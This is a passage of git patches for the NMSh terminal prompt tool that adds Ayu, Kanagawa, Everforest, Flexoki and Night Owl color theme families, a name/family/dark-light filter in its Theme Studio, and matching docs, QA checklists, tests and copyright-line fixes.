MIT | Copyright (c) 2018 Sarah Drasner | + +v0.21 mapping notes. Values are used exactly as each source writes them; the mapping to NMSh roles follows the +theme's own semantics where it has them: + +- **Ayu**: the YAML's base palette colors (not the generated syntax tones), `editor.fg`, `ui.fg`, `ui.panel.bg`, + `common.accent.tint` and `common.error`. Ayu defines one text color, so primary and secondary are the same. +- **Kanagawa**: each theme's roles from `themes.lua`: project = `fun`, path = `bg_p2`, branch = `keyword`, + Node = `string`, Go = `type`, Python = `identifier`, separator = `nontext`, subtle = `comment`, selection = + `bg_visual`, status = `ok`/`error`. +- **Everforest**: backgrounds by their position in `palette.md` (bg_dim, bg0…bg5), the seven accents and three greys. +- **Flexoki**: dark uses the 400 accents and base tiers (tx base-200, tx-2 base-500, tx-3 base-700, ui-2 base-850, + ui-3 base-800); light uses the 600 accents, as Flexoki documents its standard palette. +- **Night Owl**: editor, selection, line-number and terminal ANSI colors, and the comment token color. + +Considered for v0.21 and not bundled: **Oxocarbon** (its grays are computed at runtime in HSLuv by the theme's own +code; reproducing them would need running that code or re-implementing it, and the issue asks for no +approximations), **GitHub Primer** (values come from a built `@primer/primitives` release, not the theme +repository), **Material/Palenight** and **classic Monokai** (licensing and canonical source not verified), and +Tier 2 families. The Built-in list in Theme Studio gains `/` to filter by name, family, or dark/light. Only color values are used; no code, assets or names beyond the theme names for identification. Random gallery or theme-site copies were not used. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 10d08c22..4cedd383 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -21,7 +21,7 @@ Automated results here are not physical-terminal validation. | 4 | Semantic Output | #386 | `feature/v021-semantic` (stacked on slice 3) | | PR open | | 5 | `/track` | #393 (#394) | `feature/v021-track` (stacked on slice 4) | | PR open | | 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` (stacked on slice 5) | | PR open | -| 7 | Themes and controls | #401, #336 | | | | +| 7 | Themes and controls | #401, #336 | `feature/v021-themes` (stacked on slice 6) | | PR open | ## Decisions @@ -32,6 +32,9 @@ Automated results here are not physical-terminal validation. - `/track` stays window-owned like `/watch` in v0.21; service-owned scheduling is deferred and documented. - PR #394's `WatchTasks.ts`/`WatchPanel.ts` were adopted as written (neither file changed on `dev` since its base) and its tests kept; its other edits were re-applied by hand. #394 itself is superseded by the slice 5 PR and was not merged. +- #336: the editor's unsaved-changes and conflict dialogs use the existing `src/ui/actionControls.ts` renderer (slice 3); + no other v0.21 surface needed a new control, so no further consolidation was made. +- #401: Oxocarbon, GitHub Primer, Material/Palenight and Monokai were deferred (see theme-families.md for why). - `/track` samples run `sh -c` (as `/watch` always has) with the live shell's PATH, not the session shell, so `/watch` semantics stay the same for Fish users. @@ -40,7 +43,7 @@ Automated results here are not physical-terminal validation. Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). Slice 4: section 4 (overview rows, details -toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, stop, cleanup). Slice 6: section 6 (Bun, Nix, container, reports). +toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, stop, cleanup). Slice 6: section 6 (Bun, Nix, container, reports). Slice 7: section 7 (theme families, filter, contrast, host untouched). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 3fbe93a7..b4fe9763 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -24,6 +24,8 @@ | 5 `/track` | Ghostty | macOS | zsh | | Not run | | | 5 `/track` | Terminal.app | macOS | Fish | | Not run | | | 6 Modules | Ghostty | macOS | zsh | | Not run | | +| 7 Themes | Ghostty | macOS | zsh | | Not run | | +| 7 Themes | Terminal.app | macOS | zsh | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -114,3 +116,15 @@ - [ ] 6.3 In a Docker or Podman container (or a Codespace), the container module names it; on the host it shows nothing. - [ ] 6.4 `/modules explain` lists every configured module with its surface and reason; `/modules timings` lists the slowest collections; neither changes what is collected (the Status Strip CPU stays as it was). + +## 7. Theme families + +- [ ] 7.1 `/theme`: the Built-in list shows Ayu, Kanagawa, Everforest, Flexoki and Night Owl; `/` then `kanagawa` leaves + three; `/` then `light` leaves the light variants; Esc clears the filter, Esc again closes. +- [ ] 7.2 Activate each new variant on a dark terminal: prompt fills, branch, status, selection band and transcript + chrome are readable; module text stays readable on every fill. +- [ ] 7.3 Activate the light variants (Ayu Light, Kanagawa Lotus, Everforest Light, Flexoki Light, Light Owl) on a light + and on a dark terminal: accents and rules change, NMSh's text tiers stay readable. +- [ ] 7.4 `NO_COLOR=1` and a 256-color terminal (`TERM=xterm-256color`, no `COLORTERM`): nothing breaks. +- [ ] 7.5 Switching themes never changes Ghostty's or Terminal.app's own colors or configuration files; a config saved + with an older theme id still loads that theme. diff --git a/src/appearance/ThemeStudio.ts b/src/appearance/ThemeStudio.ts index 679ab433..794b4906 100644 --- a/src/appearance/ThemeStudio.ts +++ b/src/appearance/ThemeStudio.ts @@ -26,7 +26,7 @@ import {categoryOf, findTheme, IMPORTER_VERSION, provenanceLabel, type ThemeAsse import {assetRef, builtinRef, builtinTheme, type ThemeRef} from './themeRefs.js'; import {IMPORT_FORMAT_CHOICES, IMPORT_SIZE_LIMIT, importFormatLabel, importThemeSource, type ImportOutcome, type ImportPreview} from './themeImporters.js'; import {BRIDGE_TARGET_LABELS, type BridgeTargetId} from '../themeBridge/model.js'; -import type {CatppuccinAccent} from './themeFamilies.js'; +import {THEME_FAMILIES, themeVariant, type CatppuccinAccent} from './themeFamilies.js'; /** * Theme Studio (/theme): create, edit, import, manage and select NMSh Native @@ -300,6 +300,8 @@ export interface StudioContext { export interface ThemeStudioState { tab: StudioTab; + /** Built-in tab: `/` narrows the list by name, family, or dark/light. */ + builtinFilter?: {text: string; editing: boolean}; focus: 'tabs' | 'list'; /** Selected row per library tab. */ selected: Record, number>; @@ -354,8 +356,20 @@ function libraryItems(context: StudioContext, tab: 'imported' | 'custom'): Theme return context.themes.filter(asset => categoryOf(asset) === tab); } +/** The built-in themes the filter keeps (every one without a filter): each word must match the name, family or dark/light. */ +function builtinList(state: ThemeStudioState): Array> { + const query = state.builtinFilter?.text.trim().toLowerCase(); + if (!query) return BUILTIN_PALETTES; + return BUILTIN_PALETTES.filter(palette => { + const variant = themeVariant(palette); + const family = THEME_FAMILIES.find(item => item.id === (variant?.family ?? 'nmsh'))?.label ?? 'NMSh'; + const words = `${builtinTheme(palette, 'mauve').name} ${family} ${variant ? (variant.dark ? 'dark' : 'light') : ''}`.toLowerCase(); + return query.split(/\s+/u).every(term => words.includes(term)); + }); +} + function rowCount(state: ThemeStudioState, context: StudioContext): number { - if (state.tab === 'builtin') return BUILTIN_PALETTES.length; + if (state.tab === 'builtin') return builtinList(state).length; if (state.tab === 'imported') return libraryItems(context, 'imported').length; if (state.tab === 'custom') return libraryItems(context, 'custom').length + CUSTOM_ACTIONS; return 0; @@ -369,7 +383,7 @@ export function selectedAsset(state: ThemeStudioState, context: StudioContext): } export function selectedBuiltinRef(state: ThemeStudioState, context: StudioContext): ThemeRef { - return builtinRef(BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender', context.accent); + return builtinRef(builtinList(state)[state.selected.builtin] ?? 'lavender', context.accent); } /** The theme the studio is showing: the editor draft, the import preview, or the selected row. */ @@ -377,7 +391,7 @@ export function previewTheme(state: ThemeStudioState, context: StudioContext): { if (state.editor) return {theme: state.editor.draft}; if (state.tab === 'import') return state.importPreview ? {theme: state.importPreview.theme} : undefined; if (state.tab === 'builtin') { - const palette = BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender'; + const palette = builtinList(state)[state.selected.builtin] ?? 'lavender'; return {theme: builtinTheme(palette, context.accent), palette}; } const asset = selectedAsset(state, context); @@ -394,7 +408,7 @@ const CUSTOM_ACTIONS = 2; /** C toggles the local preview Chroma wherever no text is being typed. */ function typing(state: ThemeStudioState): boolean { - return Boolean(state.rename || state.editor?.picker || state.editor?.editingName !== undefined || (state.tab === 'import' && state.importField === 'path' && state.focus === 'list' && !state.importPreview && !state.editor)); + return Boolean(state.rename || (state.tab === 'builtin' && state.builtinFilter?.editing) || state.editor?.picker || state.editor?.editingName !== undefined || (state.tab === 'import' && state.importField === 'path' && state.focus === 'list' && !state.importPreview && !state.editor)); } export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, cwd: string, context: StudioContext): StudioAction | undefined { @@ -438,6 +452,20 @@ export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, const tabStep = tabCycleDelta(key); if (tabStep && !(state.tab === 'import' && state.focus !== 'tabs' && state.importField === 'path')) { switchTab(state, tabStep); return undefined; } if (state.tab === 'import') return importKey(state, key, cwd); + if (state.tab === 'builtin' && state.builtinFilter) { + const filter = state.builtinFilter; + // Esc clears a filter before it closes the studio. + if (key.kind === 'escape') { state.builtinFilter = undefined; state.selected.builtin = 0; return undefined; } + if (filter.editing) { + if (key.kind === 'enter') { filter.editing = false; return undefined; } + const next = editText(filter.text, key); + if (next !== undefined) { filter.text = next.slice(0, 40); state.selected.builtin = 0; return undefined; } + } + } + if (state.tab === 'builtin' && state.focus === 'list' && key.kind === 'text' && key.value === '/') { + state.builtinFilter = {text: state.builtinFilter?.text ?? '', editing: true}; + return undefined; + } if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; if (key.kind === 'left' || key.kind === 'right') { switchTab(state, key.kind === 'left' ? -1 : 1); return undefined; } if (state.focus === 'tabs') { @@ -458,7 +486,7 @@ export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, if (letter === 'd') return {kind: 'duplicateBuiltin', ref}; if (letter === 'e') { // Built-ins are immutable: editing starts a new Custom theme from it. - const palette = BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender'; + const palette = builtinList(state)[state.selected.builtin] ?? 'lavender'; state.editor = createThemeEditor(undefined, palette); state.editor.draft = {...builtinTheme(palette, context.accent), name: `My ${builtinTheme(palette, context.accent).name}`.slice(0, 48)}; } @@ -565,14 +593,20 @@ export function renderThemeStudio(state: ThemeStudioState, context: StudioContex if (state.tab === 'builtin') { body.push(` ${subtle}NMSh and bundled theme families. Built-ins are immutable; duplicate one to edit it.${RESET}`); - const {start, items} = window(BUILTIN_PALETTES, state.selected.builtin); + const visible = builtinList(state); + if (state.builtinFilter) { + const caret = state.builtinFilter.editing ? `${accent}▏${RESET}` : ''; + body.push(` ${accent}Filter:${RESET} ${state.builtinFilter.text.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, '')}${caret}${subtle} · ${visible.length} of ${BUILTIN_PALETTES.length}${RESET}`); + if (!visible.length) body.push(` ${subtle}No theme matches; Esc clears the filter.${RESET}`); + } + const {start, items} = window(visible, state.selected.builtin); items.forEach((palette, offset) => { const index = start + offset; const theme = builtinTheme(palette, context.accent); const ref = builtinRef(palette, context.accent); body.push(`${mark(index === state.selected.builtin)} ${focusForeground(index === state.selected.builtin)}${padCells(theme.name, 26)}${RESET}${swatches(Object.values(theme.prompt).slice(0, 6), level)}${active(ref)}${pinned(ref)}`); }); - controls.push(['Enter', 'set active'], ['D', 'duplicate to Custom'], ['E', 'edit a copy']); + controls.push(['Enter', 'set active'], ['/', 'filter'], ['D', 'duplicate to Custom'], ['E', 'edit a copy']); } else if (state.tab === 'imported' || state.tab === 'custom') { const items = libraryItems(context, state.tab); const rows: Array<{label: string; detail: string; ref?: ThemeRef; colors?: string[]}> = state.tab === 'custom' diff --git a/src/appearance/themeFamilies.ts b/src/appearance/themeFamilies.ts index 48cad325..87de31cb 100644 --- a/src/appearance/themeFamilies.ts +++ b/src/appearance/themeFamilies.ts @@ -44,7 +44,8 @@ export interface ThemeVariant { accents?: Record; } -export type ThemeFamilyId = 'nmsh' | 'catppuccin' | 'dracula' | 'tokyonight' | 'gruvbox' | 'rosepine' | 'nord' | 'solarized' | 'onedark' | 'custom'; +export type ThemeFamilyId = 'nmsh' | 'catppuccin' | 'dracula' | 'tokyonight' | 'gruvbox' | 'rosepine' | 'nord' | 'solarized' | 'onedark' + | 'ayu' | 'kanagawa' | 'everforest' | 'flexoki' | 'nightowl' | 'custom'; export interface ThemeFamily { id: ThemeFamilyId; @@ -65,6 +66,11 @@ export const THEME_FAMILIES: readonly ThemeFamily[] = [ {id: 'nord', label: 'Nord', variantLabel: 'Variant', source: 'https://github.com/nordtheme/nord', license: 'MIT'}, {id: 'solarized', label: 'Solarized', variantLabel: 'Variant', source: 'https://github.com/altercation/solarized', license: 'MIT'}, {id: 'onedark', label: 'One Dark', variantLabel: 'Variant', source: 'https://github.com/atom/one-dark-syntax', license: 'MIT'}, + {id: 'ayu', label: 'Ayu', variantLabel: 'Version', source: 'https://github.com/ayu-theme/ayu-colors', license: 'MIT'}, + {id: 'kanagawa', label: 'Kanagawa', variantLabel: 'Theme', source: 'https://github.com/rebelot/kanagawa.nvim', license: 'MIT'}, + {id: 'everforest', label: 'Everforest', variantLabel: 'Variant', source: 'https://github.com/sainnhe/everforest', license: 'MIT'}, + {id: 'flexoki', label: 'Flexoki', variantLabel: 'Variant', source: 'https://github.com/kepano/flexoki', license: 'MIT'}, + {id: 'nightowl', label: 'Night Owl', variantLabel: 'Variant', source: 'https://github.com/sdras/night-owl-vscode-theme', license: 'MIT'}, {id: 'custom', label: 'Custom', variantLabel: 'Theme'}, ]; @@ -172,6 +178,64 @@ export const THEME_VARIANTS: readonly ThemeVariant[] = [ roles: {project: '#4078f2', cwd: '#d4d4d6', gitBranch: '#a626a4', node: '#50a14f', go: '#0184bc', python: '#c18401', docker: '#986801', kubernetes: '#a0a1a7', success: '#50a14f', failure: '#e45649'}, ui: {accent: '#4078f2', separator: '#a0a1a7', success: '#50a14f', failure: '#e45649'}}, + // ayu-theme/ayu-colors themes/{dark,mirage,light}.yaml (d461f029): the palette's base colors, editor and UI + // foregrounds, panel background and accent tint as written; syntax tones derived from them are not used. + {id: 'ayuDark', family: 'ayu', variant: 'Dark', label: 'Ayu Dark', description: 'Ayu Dark, warm accents on near black', dark: true, + roles: {project: '#e6b450', cwd: '#5a6673', gitBranch: '#d2a6ff', node: '#aad94c', go: '#95e6cb', python: '#e6c08a', docker: '#59c2ff', + kubernetes: '#39bae6', success: '#aad94c', failure: '#f07178'}, + ui: {accent: '#e6b450', separator: '#5a6378', success: '#aad94c', failure: '#d95757', primary: '#bfbdb6', secondary: '#bfbdb6', subtle: '#5a6378', selection: '#141821'}}, + {id: 'ayuMirage', family: 'ayu', variant: 'Mirage', label: 'Ayu Mirage', description: 'Ayu Mirage, softer on blue-gray', dark: true, + roles: {project: '#ffcc66', cwd: '#6e7c8f', gitBranch: '#dfbfff', node: '#d5ff80', go: '#95e6cb', python: '#d9be98', docker: '#73d0ff', + kubernetes: '#5ccfe6', success: '#d5ff80', failure: '#f28779'}, + ui: {accent: '#ffcc66', separator: '#707a8c', success: '#d5ff80', failure: '#ff6666', primary: '#cccac2', secondary: '#cccac2', subtle: '#707a8c', selection: '#282e3b'}}, + {id: 'ayuLight', family: 'ayu', variant: 'Light', label: 'Ayu Light', description: 'Ayu Light, bright and clear', dark: false, + roles: {project: '#f29718', cwd: '#adaeb1', gitBranch: '#a37acc', node: '#86b300', go: '#4cbf99', python: '#eba400', docker: '#22a4e6', + kubernetes: '#55b4d4', success: '#86b300', failure: '#f07171'}, + ui: {accent: '#f29718', separator: '#828e9f', success: '#86b300', failure: '#e65050'}}, + // rebelot/kanagawa.nvim lua/kanagawa/colors.lua and themes.lua (bb85e4bf): each theme's own role colors + // (fun, keyword, string, type, identifier, bg_p2, nontext, comment, bg_visual, ok, error). + {id: 'kanagawaWave', family: 'kanagawa', variant: 'Wave', label: 'Kanagawa Wave', description: 'Kanagawa Wave, ink and wave blue', dark: true, + roles: {project: '#7e9cd8', cwd: '#363646', gitBranch: '#957fb8', node: '#98bb6c', go: '#7aa89f', python: '#e6c384', docker: '#7fb4ca', + kubernetes: '#d27e99', success: '#98bb6c', failure: '#e82424'}, + ui: {accent: '#7e9cd8', separator: '#54546d', success: '#98bb6c', failure: '#e82424', primary: '#dcd7ba', secondary: '#c8c093', subtle: '#727169', selection: '#223249'}}, + {id: 'kanagawaDragon', family: 'kanagawa', variant: 'Dragon', label: 'Kanagawa Dragon', description: 'Kanagawa Dragon, dark and muted', dark: true, + roles: {project: '#8ba4b0', cwd: '#393836', gitBranch: '#8992a7', node: '#8a9a7b', go: '#8ea4a2', python: '#c4b28a', docker: '#658594', + kubernetes: '#a292a3', success: '#98bb6c', failure: '#e82424'}, + ui: {accent: '#8ba4b0', separator: '#625e5a', success: '#98bb6c', failure: '#e82424', primary: '#c5c9c5', secondary: '#c8c093', subtle: '#737c73', selection: '#223249'}}, + {id: 'kanagawaLotus', family: 'kanagawa', variant: 'Lotus', label: 'Kanagawa Lotus', description: 'Kanagawa Lotus, the light theme', dark: false, + roles: {project: '#4d699b', cwd: '#e4d794', gitBranch: '#624c83', node: '#6f894e', go: '#597b75', python: '#77713f', docker: '#6693bf', + kubernetes: '#b35b79', success: '#6f894e', failure: '#e82424'}, + ui: {accent: '#4d699b', separator: '#a09cac', success: '#6f894e', failure: '#e82424'}}, + // sainnhe/everforest palette.md (85a86eb6), medium contrast: backgrounds by position (bg0…bg5), accents, greys. + // Soft and hard change only the editor background, which NMSh does not paint. + {id: 'everforestDark', family: 'everforest', variant: 'Dark', label: 'Everforest Dark', description: 'Everforest Dark, green-based and calm', dark: true, + roles: {project: '#a7c080', cwd: '#475258', gitBranch: '#d699b6', node: '#83c092', go: '#7fbbb3', python: '#dbbc7f', docker: '#7fbbb3', + kubernetes: '#e69875', success: '#a7c080', failure: '#e67e80'}, + ui: {accent: '#a7c080', separator: '#7a8478', success: '#a7c080', failure: '#e67e80', primary: '#d3c6aa', secondary: '#9da9a0', subtle: '#7a8478', selection: '#3d484d'}}, + {id: 'everforestLight', family: 'everforest', variant: 'Light', label: 'Everforest Light', description: 'Everforest Light, warm paper', dark: false, + roles: {project: '#8da101', cwd: '#bdc3af', gitBranch: '#df69ba', node: '#35a77c', go: '#3a94c5', python: '#dfa000', docker: '#3a94c5', + kubernetes: '#f57d26', success: '#8da101', failure: '#f85552'}, + ui: {accent: '#8da101', separator: '#a6b0a0', success: '#8da101', failure: '#f85552'}}, + // kepano/flexoki README (8d723bac): dark uses the 400 accents and base tiers (tx base-200, tx-2 base-500, + // tx-3 base-700, ui-2 base-850, ui-3 base-800); light uses the 600 accents (ui-3 base-200, tx-3 base-300). + {id: 'flexokiDark', family: 'flexoki', variant: 'Dark', label: 'Flexoki Dark', description: 'Flexoki Dark, inky and warm', dark: true, + roles: {project: '#4385be', cwd: '#403e3c', gitBranch: '#8b7ec8', node: '#879a39', go: '#3aa99f', python: '#d0a215', docker: '#da702c', + kubernetes: '#ce5d97', success: '#879a39', failure: '#d14d41'}, + ui: {accent: '#4385be', separator: '#575653', success: '#879a39', failure: '#d14d41', primary: '#cecdc3', secondary: '#878580', subtle: '#575653', selection: '#343331'}}, + {id: 'flexokiLight', family: 'flexoki', variant: 'Light', label: 'Flexoki Light', description: 'Flexoki Light, paper and ink', dark: false, + roles: {project: '#205ea6', cwd: '#cecdc3', gitBranch: '#5e409d', node: '#66800b', go: '#24837b', python: '#ad8301', docker: '#bc5215', + kubernetes: '#a02f6f', success: '#66800b', failure: '#af3029'}, + ui: {accent: '#205ea6', separator: '#b7b5ac', success: '#66800b', failure: '#af3029'}}, + // sdras/night-owl-vscode-theme themes/Night Owl-color-theme.json and Night Owl-Light-color-theme.json (cc291eba): + // editor, selection, line-number and terminal ANSI colors, and the comment token color. + {id: 'nightOwl', family: 'nightowl', variant: 'Night Owl', label: 'Night Owl', description: 'Night Owl, for night owls', dark: true, + roles: {project: '#82aaff', cwd: '#1d3b53', gitBranch: '#c792ea', node: '#22da6e', go: '#7fdbca', python: '#ffeb95', docker: '#21c7a8', + kubernetes: '#f78c6c', success: '#22da6e', failure: '#ef5350'}, + ui: {accent: '#82aaff', separator: '#4b6479', success: '#22da6e', failure: '#ef5350', primary: '#d6deeb', secondary: '#d6deeb', subtle: '#637777', selection: '#1d3b53'}}, + {id: 'nightOwlLight', family: 'nightowl', variant: 'Light Owl', label: 'Light Owl', description: 'Night Owl\'s light theme', dark: false, + roles: {project: '#288ed7', cwd: '#e0e0e0', gitBranch: '#d6438a', node: '#08916a', go: '#2aa298', python: '#e0af02', docker: '#288ed7', + kubernetes: '#d6438a', success: '#08916a', failure: '#de3d3b'}, + ui: {accent: '#288ed7', separator: '#90a7b2', success: '#08916a', failure: '#e64d49'}}, ]; export function themeVariant(id: string): ThemeVariant | undefined { diff --git a/src/appearance/themeSelection.ts b/src/appearance/themeSelection.ts index 4936dea7..33e1e9b2 100644 --- a/src/appearance/themeSelection.ts +++ b/src/appearance/themeSelection.ts @@ -27,7 +27,8 @@ export function variantOptions(family: ThemeFamilyId): VariantOption[] { /** The variant a family opens on: the documented default for each family. */ const DEFAULT_VARIANT: Record = { nmsh: 'lavender', catppuccin: 'catppuccinMocha', dracula: 'dracula', tokyonight: 'tokyonightNight', gruvbox: 'gruvboxDark', - rosepine: 'rosePine', nord: 'nord', solarized: 'solarizedDark', onedark: 'oneDark', custom: 'custom', + rosepine: 'rosePine', nord: 'nord', solarized: 'solarizedDark', onedark: 'oneDark', + ayu: 'ayuMirage', kanagawa: 'kanagawaWave', everforest: 'everforestDark', flexoki: 'flexokiDark', nightowl: 'nightOwl', custom: 'custom', }; const UI_DEFAULT_HEX = (): Record => { diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 9fe28ccf..7fef4d49 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -144,10 +144,14 @@ export type NativePaletteId = 'lavender' | 'brand' | 'cool' | 'warm' | 'grayscal /** Bundled third-party variants (see appearance/themeFamilies). */ export type ThirdPartyPaletteId = 'catppuccinLatte' | 'catppuccinFrappe' | 'catppuccinMacchiato' | 'catppuccinMocha' | 'dracula' | 'tokyonightNight' | 'tokyonightStorm' | 'tokyonightMoon' | 'tokyonightDay' | 'gruvboxDark' | 'gruvboxLight' - | 'rosePine' | 'rosePineMoon' | 'rosePineDawn' | 'nord' | 'solarizedDark' | 'solarizedLight' | 'oneDark' | 'oneLight'; + | 'rosePine' | 'rosePineMoon' | 'rosePineDawn' | 'nord' | 'solarizedDark' | 'solarizedLight' | 'oneDark' | 'oneLight' + | 'ayuDark' | 'ayuMirage' | 'ayuLight' | 'kanagawaWave' | 'kanagawaDragon' | 'kanagawaLotus' | 'everforestDark' | 'everforestLight' + | 'flexokiDark' | 'flexokiLight' | 'nightOwl' | 'nightOwlLight'; export const THIRD_PARTY_PALETTE_IDS: readonly ThirdPartyPaletteId[] = ['catppuccinLatte', 'catppuccinFrappe', 'catppuccinMacchiato', 'catppuccinMocha', 'dracula', 'tokyonightNight', 'tokyonightStorm', 'tokyonightMoon', 'tokyonightDay', 'gruvboxDark', 'gruvboxLight', - 'rosePine', 'rosePineMoon', 'rosePineDawn', 'nord', 'solarizedDark', 'solarizedLight', 'oneDark', 'oneLight']; + 'rosePine', 'rosePineMoon', 'rosePineDawn', 'nord', 'solarizedDark', 'solarizedLight', 'oneDark', 'oneLight', + 'ayuDark', 'ayuMirage', 'ayuLight', 'kanagawaWave', 'kanagawaDragon', 'kanagawaLotus', 'everforestDark', 'everforestLight', + 'flexokiDark', 'flexokiLight', 'nightOwl', 'nightOwlLight']; export type NativeGapChoice = 'off' | 'compact' | 'normal' | 'wide'; /** * Rich Git state colors: `semantic` keeps meaningful Git colors under any diff --git a/tests/themeFamilies.test.ts b/tests/themeFamilies.test.ts index 281fade2..c326e3f6 100644 --- a/tests/themeFamilies.test.ts +++ b/tests/themeFamilies.test.ts @@ -63,7 +63,8 @@ test('Starship and Oh My Posh imports preview lossy mapping before saving and pr }); test('theme families: canonical variants, valid ids, licenses recorded, NMSh themes unchanged', () => { - assert.deepEqual(THEME_FAMILIES.map(family => family.id), ['nmsh', 'catppuccin', 'dracula', 'tokyonight', 'gruvbox', 'rosepine', 'nord', 'solarized', 'onedark', 'custom']); + assert.deepEqual(THEME_FAMILIES.map(family => family.id), ['nmsh', 'catppuccin', 'dracula', 'tokyonight', 'gruvbox', 'rosepine', 'nord', 'solarized', 'onedark', + 'ayu', 'kanagawa', 'everforest', 'flexoki', 'nightowl', 'custom']); for (const family of THEME_FAMILIES.filter(item => item.id !== 'nmsh' && item.id !== 'custom')) { assert.ok(family.source?.startsWith('https://github.com/'), family.id); assert.ok(family.license, family.id); @@ -83,6 +84,18 @@ test('theme families: canonical variants, valid ids, licenses recorded, NMSh the assert.equal(themeVariant('solarizedDark')!.roles.project, '#268bd2'); assert.equal(themeVariant('rosePine')!.roles.project, '#c4a7e7'); assert.equal(themeVariant('oneDark')!.roles.project, '#61afef'); + // v0.21 families, against the pinned upstream files named in docs/design/theme-families.md. + assert.deepEqual(familyVariants('ayu').map(variant => variant.variant), ['Dark', 'Mirage', 'Light']); + assert.deepEqual(familyVariants('kanagawa').map(variant => variant.variant), ['Wave', 'Dragon', 'Lotus']); + assert.deepEqual(familyVariants('everforest').map(variant => variant.variant), ['Dark', 'Light']); + assert.deepEqual(familyVariants('flexoki').map(variant => variant.variant), ['Dark', 'Light']); + assert.deepEqual(familyVariants('nightowl').map(variant => variant.variant), ['Night Owl', 'Light Owl']); + assert.equal(themeVariant('ayuMirage')!.ui.accent, '#ffcc66', 'ayu mirage accent tint'); + assert.equal(themeVariant('kanagawaWave')!.ui.primary, '#dcd7ba', 'fujiWhite'); + assert.equal(themeVariant('kanagawaWave')!.roles.project, '#7e9cd8', 'crystalBlue (fun)'); + assert.equal(themeVariant('everforestDark')!.ui.primary, '#d3c6aa'); + assert.equal(themeVariant('flexokiLight')!.roles.project, '#205ea6', 'blue-600'); + assert.equal(themeVariant('nightOwl')!.ui.selection, '#1d3b53', 'editor.selectionBackground'); assert.equal(NATIVE_PALETTE_IDS.length, 12, 'the NMSh family keeps its twelve themes'); }); @@ -314,3 +327,30 @@ test('color picker: truecolor field and hue, 256-color grid, NO_COLOR channels, try { assert.ok(renderColorPicker(createColorPicker('#ffffff', 'truecolor'), 'x', 50, 'truecolor').some(row => row.includes('+'))); } finally { setIconStyle('nerd'); } }); + +test('Theme Studio: / filters the built-in list by name, family or dark/light; Esc clears before it closes', () => { + const context = {themes: [], accent: 'mauve' as const, pinnedTo: () => []}; + const state = createThemeStudio(context); + const press = (...keys: Array) => { + let action; + for (const key of keys) action = studioKey(state, (typeof key === 'string' ? {kind: 'text', value: key} : key) as never, 'none', '/', context); + return action; + }; + press('/', ...'kanagawa'.split('')); + const shown = plain(renderThemeStudio(state, context, 80, 30, 'none', [])); + assert.match(shown, /Filter: kanagawa▏ · 3 of \d+/u); + assert.match(shown, /Kanagawa Wave[\s\S]*Kanagawa Dragon[\s\S]*Kanagawa Lotus/u); + assert.doesNotMatch(shown, /Lavender Native/u); + press({kind: 'enter'}, {kind: 'down'}); + assert.deepEqual(press({kind: 'enter'}), {kind: 'activate', ref: 'builtin:kanagawaDragon'}, 'selection follows the filtered list'); + assert.equal(state.previewChroma, false); + press({kind: 'escape'}); + assert.equal(state.builtinFilter, undefined, 'Esc cleared the filter'); + press('/', ...'light ayu'.split('')); + assert.match(plain(renderThemeStudio(state, context, 80, 30, 'none', [])), /1 of \d+[\s\S]*Ayu Light/u); + press({kind: 'escape'}, '/', ...'catppuccin latte'.split('')); + assert.match(plain(renderThemeStudio(state, context, 80, 30, 'none', [])), /1 of \d+[\s\S]*Catppuccin Latte/u); + assert.equal(state.previewChroma, false, 'c typed into the filter is text, not the Chroma toggle'); + press({kind: 'escape'}); + assert.deepEqual(press({kind: 'escape'}), {kind: 'close'}); +}); From 7d8e15290533253fab0f3ca7d8fbaa98e5644f58 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:49:29 +0530 Subject: [PATCH 016/157] Theme families: copyright lines as the upstream LICENSE files state them --- docs/design/theme-families.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/design/theme-families.md b/docs/design/theme-families.md index 6f6ae928..6dbe2bd9 100644 --- a/docs/design/theme-families.md +++ b/docs/design/theme-families.md @@ -59,9 +59,9 @@ NMSh never fetches palettes at runtime. | Nord | github.com/nordtheme/nord `src/nord.css` | MIT | Copyright (c) 2016-present Sven Greb | | Solarized | github.com/altercation/solarized (README) | MIT | Copyright (c) 2011 Ethan Schoonover | | One Dark / One Light | github.com/atom/one-dark-syntax, one-light-syntax `styles/colors.less` (HSL converted to hex) | MIT | Copyright (c) 2016 GitHub Inc. | -| Ayu | github.com/ayu-theme/ayu-colors `themes/dark.yaml`, `mirage.yaml`, `light.yaml` (d461f029) | MIT | Copyright (c) 2016 Ike Ku | +| Ayu | github.com/ayu-theme/ayu-colors `themes/dark.yaml`, `mirage.yaml`, `light.yaml` (d461f029) | MIT | Copyright (c) Konstantin Pschera (LICENSE gives no year) | | Kanagawa | github.com/rebelot/kanagawa.nvim `lua/kanagawa/colors.lua`, `themes.lua` (bb85e4bf) | MIT | Copyright (c) 2021 Tommaso Laurenzi | -| Everforest | github.com/sainnhe/everforest `palette.md` (85a86eb6) | MIT | Copyright (c) 2019 Sainnhe Park | +| Everforest | github.com/sainnhe/everforest `palette.md` (85a86eb6) | MIT | Copyright (c) 2019 sainnhe | | Flexoki | github.com/kepano/flexoki 